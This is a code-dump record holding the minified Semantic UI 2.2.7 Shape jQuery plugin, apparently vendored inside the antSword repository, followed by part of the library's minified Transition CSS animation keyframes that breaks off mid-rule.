```javascript /*! * # Semantic UI 2.2.7 - Shape * path_to_url * * * Released under the MIT license * path_to_url * */ !function(e,t,i,n){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.shape=function(a){var o,r=e(this),s=(e("body"),(new Date).getTime()),d=[],l=arguments[0],u="string"==typeof l,c=[].slice.call(arguments,1),g=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var t,f,m,p=r.selector||"",h=e.isPlainObject(a)?e.extend(!0,{},e.fn.shape.settings,a):e.extend({},e.fn.shape.settings),v=h.namespace,b=h.selector,x=h.error,y=h.className,S="."+v,w="module-"+v,C=e(this),z=C.find(b.sides),W=C.find(b.side),F=!1,H=this,T=C.data(w);m={initialize:function(){m.verbose("Initializing module for",H),m.set.defaultSide(),m.instantiate()},instantiate:function(){m.verbose("Storing instance of module",m),T=m,C.data(w,T)},destroy:function(){m.verbose("Destroying previous module for",H),C.removeData(w).off(S)},refresh:function(){m.verbose("Refreshing selector cache for",H),C=e(H),z=e(this).find(b.shape),W=e(this).find(b.side)},repaint:function(){m.verbose("Forcing repaint event");var e=z[0]||i.createElement("div");e.offsetWidth},animate:function(e,i){m.verbose("Animating box with properties",e),i=i||function(e){m.verbose("Executing animation callback"),e!==n&&e.stopPropagation(),m.reset(),m.set.active()},h.beforeChange.call(f[0]),m.get.transitionEvent()?(m.verbose("Starting CSS animation"),C.addClass(y.animating),z.css(e).one(m.get.transitionEvent(),i),m.set.duration(h.duration),g(function(){C.addClass(y.animating),t.addClass(y.hidden)})):i()},queue:function(e){m.debug("Queueing animation of",e),z.one(m.get.transitionEvent(),function(){m.debug("Executing queued animation"),setTimeout(function(){C.shape(e)},0)})},reset:function(){m.verbose("Animating states reset"),C.removeClass(y.animating).attr("style","").removeAttr("style"),z.attr("style","").removeAttr("style"),W.attr("style","").removeAttr("style").removeClass(y.hidden),f.removeClass(y.animating).attr("style","").removeAttr("style")},is:{complete:function(){return W.filter("."+y.active)[0]==f[0]},animating:function(){return C.hasClass(y.animating)}},set:{defaultSide:function(){t=C.find("."+h.className.active),f=t.next(b.side).length>0?t.next(b.side):C.find(b.side).first(),F=!1,m.verbose("Active side set to",t),m.verbose("Next side set to",f)},duration:function(e){e=e||h.duration,e="number"==typeof e?e+"ms":e,m.verbose("Setting animation duration",e),(h.duration||0===h.duration)&&z.add(W).css({"-webkit-transition-duration":e,"-moz-transition-duration":e,"-ms-transition-duration":e,"-o-transition-duration":e,"transition-duration":e})},currentStageSize:function(){var e=C.find("."+h.className.active),t=e.outerWidth(!0),i=e.outerHeight(!0);C.css({width:t,height:i})},stageSize:function(){var e=C.clone().addClass(y.loading),t=e.find("."+h.className.active),i=F?e.find(b.side).eq(F):t.next(b.side).length>0?t.next(b.side):e.find(b.side).first(),n="next"==h.width?i.outerWidth(!0):"initial"==h.width?C.width():h.width,a="next"==h.height?i.outerHeight(!0):"initial"==h.height?C.height():h.height;t.removeClass(y.active),i.addClass(y.active),e.insertAfter(C),e.remove(),"auto"!=h.width&&(C.css("width",n+h.jitter),m.verbose("Specifying width during animation",n)),"auto"!=h.height&&(C.css("height",a+h.jitter),m.verbose("Specifying height during animation",a))},nextSide:function(e){F=e,f=W.filter(e),F=W.index(f),0===f.length&&(m.set.defaultSide(),m.error(x.side)),m.verbose("Next side manually set to",f)},active:function(){m.verbose("Setting new side to active",f),W.removeClass(y.active),f.addClass(y.active),h.onChange.call(f[0]),m.set.defaultSide()}},flip:{up:function(){if(m.is.complete()&&!m.is.animating()&&!h.allowRepeats)return void m.debug("Side already visible",f);if(m.is.animating())m.queue("flip up");else{m.debug("Flipping up",f);var e=m.get.transform.up();m.set.stageSize(),m.stage.above(),m.animate(e)}},down:function(){if(m.is.complete()&&!m.is.animating()&&!h.allowRepeats)return void m.debug("Side already visible",f);if(m.is.animating())m.queue("flip down");else{m.debug("Flipping down",f);var e=m.get.transform.down();m.set.stageSize(),m.stage.below(),m.animate(e)}},left:function(){if(m.is.complete()&&!m.is.animating()&&!h.allowRepeats)return void m.debug("Side already visible",f);if(m.is.animating())m.queue("flip left");else{m.debug("Flipping left",f);var e=m.get.transform.left();m.set.stageSize(),m.stage.left(),m.animate(e)}},right:function(){if(m.is.complete()&&!m.is.animating()&&!h.allowRepeats)return void m.debug("Side already visible",f);if(m.is.animating())m.queue("flip right");else{m.debug("Flipping right",f);var e=m.get.transform.right();m.set.stageSize(),m.stage.right(),m.animate(e)}},over:function(){return!m.is.complete()||m.is.animating()||h.allowRepeats?void(m.is.animating()?m.queue("flip over"):(m.debug("Flipping over",f),m.set.stageSize(),m.stage.behind(),m.animate(m.get.transform.over()))):void m.debug("Side already visible",f)},back:function(){return!m.is.complete()||m.is.animating()||h.allowRepeats?void(m.is.animating()?m.queue("flip back"):(m.debug("Flipping back",f),m.set.stageSize(),m.stage.behind(),m.animate(m.get.transform.back()))):void m.debug("Side already visible",f)}},get:{transform:{up:function(){var e={y:-((t.outerHeight(!0)-f.outerHeight(!0))/2),z:-(t.outerHeight(!0)/2)};return{transform:"translateY("+e.y+"px) translateZ("+e.z+"px) rotateX(-90deg)"}},down:function(){var e={y:-((t.outerHeight(!0)-f.outerHeight(!0))/2),z:-(t.outerHeight(!0)/2)};return{transform:"translateY("+e.y+"px) translateZ("+e.z+"px) rotateX(90deg)"}},left:function(){var e={x:-((t.outerWidth(!0)-f.outerWidth(!0))/2),z:-(t.outerWidth(!0)/2)};return{transform:"translateX("+e.x+"px) translateZ("+e.z+"px) rotateY(90deg)"}},right:function(){var e={x:-((t.outerWidth(!0)-f.outerWidth(!0))/2),z:-(t.outerWidth(!0)/2)};return{transform:"translateX("+e.x+"px) translateZ("+e.z+"px) rotateY(-90deg)"}},over:function(){var e={x:-((t.outerWidth(!0)-f.outerWidth(!0))/2)};return{transform:"translateX("+e.x+"px) rotateY(180deg)"}},back:function(){var e={x:-((t.outerWidth(!0)-f.outerWidth(!0))/2)};return{transform:"translateX("+e.x+"px) rotateY(-180deg)"}}},transitionEvent:function(){var e,t=i.createElement("element"),a={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in a)if(t.style[e]!==n)return a[e]},nextSide:function(){return t.next(b.side).length>0?t.next(b.side):C.find(b.side).first()}},stage:{above:function(){var e={origin:(t.outerHeight(!0)-f.outerHeight(!0))/2,depth:{active:f.outerHeight(!0)/2,next:t.outerHeight(!0)/2}};m.verbose("Setting the initial animation position as above",f,e),z.css({transform:"translateZ(-"+e.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+e.depth.active+"px)"}),f.addClass(y.animating).css({top:e.origin+"px",transform:"rotateX(90deg) translateZ("+e.depth.next+"px)"})},below:function(){var e={origin:(t.outerHeight(!0)-f.outerHeight(!0))/2,depth:{active:f.outerHeight(!0)/2,next:t.outerHeight(!0)/2}};m.verbose("Setting the initial animation position as below",f,e),z.css({transform:"translateZ(-"+e.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+e.depth.active+"px)"}),f.addClass(y.animating).css({top:e.origin+"px",transform:"rotateX(-90deg) translateZ("+e.depth.next+"px)"})},left:function(){var e={active:t.outerWidth(!0),next:f.outerWidth(!0)},i={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};m.verbose("Setting the initial animation position as left",f,i),z.css({transform:"translateZ(-"+i.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+i.depth.active+"px)"}),f.addClass(y.animating).css({left:i.origin+"px",transform:"rotateY(-90deg) translateZ("+i.depth.next+"px)"})},right:function(){var e={active:t.outerWidth(!0),next:f.outerWidth(!0)},i={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};m.verbose("Setting the initial animation position as left",f,i),z.css({transform:"translateZ(-"+i.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+i.depth.active+"px)"}),f.addClass(y.animating).css({left:i.origin+"px",transform:"rotateY(90deg) translateZ("+i.depth.next+"px)"})},behind:function(){var e={active:t.outerWidth(!0),next:f.outerWidth(!0)},i={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};m.verbose("Setting the initial animation position as behind",f,i),t.css({transform:"rotateY(0deg)"}),f.addClass(y.animating).css({left:i.origin+"px",transform:"rotateY(-180deg)"})}},setting:function(t,i){if(m.debug("Changing setting",t,i),e.isPlainObject(t))e.extend(!0,h,t);else{if(i===n)return h[t];e.isPlainObject(h[t])?e.extend(!0,h[t],i):h[t]=i}},internal:function(t,i){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(i===n)return m[t];m[t]=i}},debug:function(){!h.silent&&h.debug&&(h.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,h.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!h.silent&&h.verbose&&h.debug&&(h.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,h.name+":"),m.verbose.apply(console,arguments)))},error:function(){h.silent||(m.error=Function.prototype.bind.call(console.error,console,h.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,i,n;h.performance&&(t=(new Date).getTime(),n=s||t,i=t-n,s=t,d.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:H,"Execution Time":i})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=h.name+":",i=0;s=!1,clearTimeout(m.performance.timer),e.each(d,function(e,t){i+=t["Execution Time"]}),t+=" "+i+"ms",p&&(t+=" '"+p+"'"),r.length>1&&(t+=" ("+r.length+")"),(console.group!==n||console.table!==n)&&d.length>0&&(console.groupCollapsed(t),console.table?console.table(d):e.each(d,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),d=[]}},invoke:function(t,i,a){var r,s,d,l=T;return i=i||c,a=H||a,"string"==typeof t&&l!==n&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(i,a){var o=i!=r?a+t[i+1].charAt(0).toUpperCase()+t[i+1].slice(1):t;if(e.isPlainObject(l[o])&&i!=r)l=l[o];else{if(l[o]!==n)return s=l[o],!1;if(!e.isPlainObject(l[a])||i==r)return l[a]!==n&&(s=l[a],!1);l=l[a]}})),e.isFunction(s)?d=s.apply(a,i):s!==n&&(d=s),e.isArray(o)?o.push(d):o!==n?o=[o,d]:d!==n&&(o=d),s}},u?(T===n&&m.initialize(),m.invoke(l)):(T!==n&&T.invoke("destroy"),m.initialize())}),o!==n?o:this},e.fn.shape.settings={name:"Shape",silent:!1,debug:!1,verbose:!1,jitter:0,performance:!0,namespace:"shape",width:"initial",height:"initial",beforeChange:function(){},onChange:function(){},allowRepeats:!1,duration:!1,error:{side:"You tried to switch to a side that does not exist.",method:"The method you called is not defined"},className:{animating:"animating",hidden:"hidden",loading:"loading",active:"active"},selector:{sides:".sides",side:".side"}}}(jQuery,window,document); ```
/content/code_sandbox/static/libs/semanticui/components/shape.min.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,295
```css /*! * # Semantic UI 2.2.7 - Transition * path_to_url * * * Released under the MIT license * path_to_url * */.transition{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-timing-function:ease;animation-timing-function:ease;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animating.transition{-webkit-backface-visibility:hidden;backface-visibility:hidden;visibility:visible!important}.loading.transition{position:absolute;top:-99999px;left:-99999px}.hidden.transition{display:none;visibility:hidden}.visible.transition{display:block!important;visibility:visible!important}.disabled.transition{-webkit-animation-play-state:paused;animation-play-state:paused}.looping.transition{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.transition.browse{-webkit-animation-duration:.5s;animation-duration:.5s}.transition.browse.in{-webkit-animation-name:browseIn;animation-name:browseIn}.transition.browse.left.out,.transition.browse.out{-webkit-animation-name:browseOutLeft;animation-name:browseOutLeft}.transition.browse.right.out{-webkit-animation-name:browseOutRight;animation-name:browseOutRight}@-webkit-keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@-webkit-keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@-webkit-keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}.drop.transition{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-duration:.4s;animation-duration:.4s;-webkit-animation-timing-function:cubic-bezier(.34,1.61,.7,1);animation-timing-function:cubic-bezier(.34,1.61,.7,1)}.drop.transition.in{-webkit-animation-name:dropIn;animation-name:dropIn}.drop.transition.out{-webkit-animation-name:dropOut;animation-name:dropOut}@-webkit-keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}@keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}.transition.fade.in{-webkit-animation-name:fadeIn;animation-name:fadeIn}.transition[class*="fade up"].in{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}.transition[class*="fade down"].in{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}.transition[class*="fade left"].in{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}.transition[class*="fade right"].in{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}.transition.fade.out{-webkit-animation-name:fadeOut;animation-name:fadeOut}.transition[class*="fade up"].out{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}.transition[class*="fade down"].out{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}.transition[class*="fade left"].out{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}.transition[class*="fade right"].out{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}@keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}.flip.transition.in,.flip.transition.out{-webkit-animation-duration:.6s;animation-duration:.6s}.horizontal.flip.transition.in{-webkit-animation-name:horizontalFlipIn;animation-name:horizontalFlipIn}.horizontal.flip.transition.out{-webkit-animation-name:horizontalFlipOut;animation-name:horizontalFlipOut}.vertical.flip.transition.in{-webkit-animation-name:verticalFlipIn;animation-name:verticalFlipIn}.vertical.flip.transition.out{-webkit-animation-name:verticalFlipOut;animation-name:verticalFlipOut}@-webkit-keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@-webkit-keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@-webkit-keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@-webkit-keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}@keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}.scale.transition.in{-webkit-animation-name:scaleIn;animation-name:scaleIn}.scale.transition.out{-webkit-animation-name:scaleOut;animation-name:scaleOut}@-webkit-keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}@keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}.transition.fly{-webkit-animation-duration:.6s;animation-duration:.6s;-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1)}.transition.fly.in{-webkit-animation-name:flyIn;animation-name:flyIn}.transition[class*="fly up"].in{-webkit-animation-name:flyInUp;animation-name:flyInUp}.transition[class*="fly down"].in{-webkit-animation-name:flyInDown;animation-name:flyInDown}.transition[class*="fly left"].in{-webkit-animation-name:flyInLeft;animation-name:flyInLeft}.transition[class*="fly right"].in{-webkit-animation-name:flyInRight;animation-name:flyInRight}.transition.fly.out{-webkit-animation-name:flyOut;animation-name:flyOut}.transition[class*="fly up"].out{-webkit-animation-name:flyOutUp;animation-name:flyOutUp}.transition[class*="fly down"].out{-webkit-animation-name:flyOutDown;animation-name:flyOutDown}.transition[class*="fly left"].out{-webkit-animation-name:flyOutLeft;animation-name:flyOutLeft}.transition[class*="fly right"].out{-webkit-animation-name:flyOutRight;animation-name:flyOutRight}@-webkit-keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@-webkit-keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@-webkit-keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes 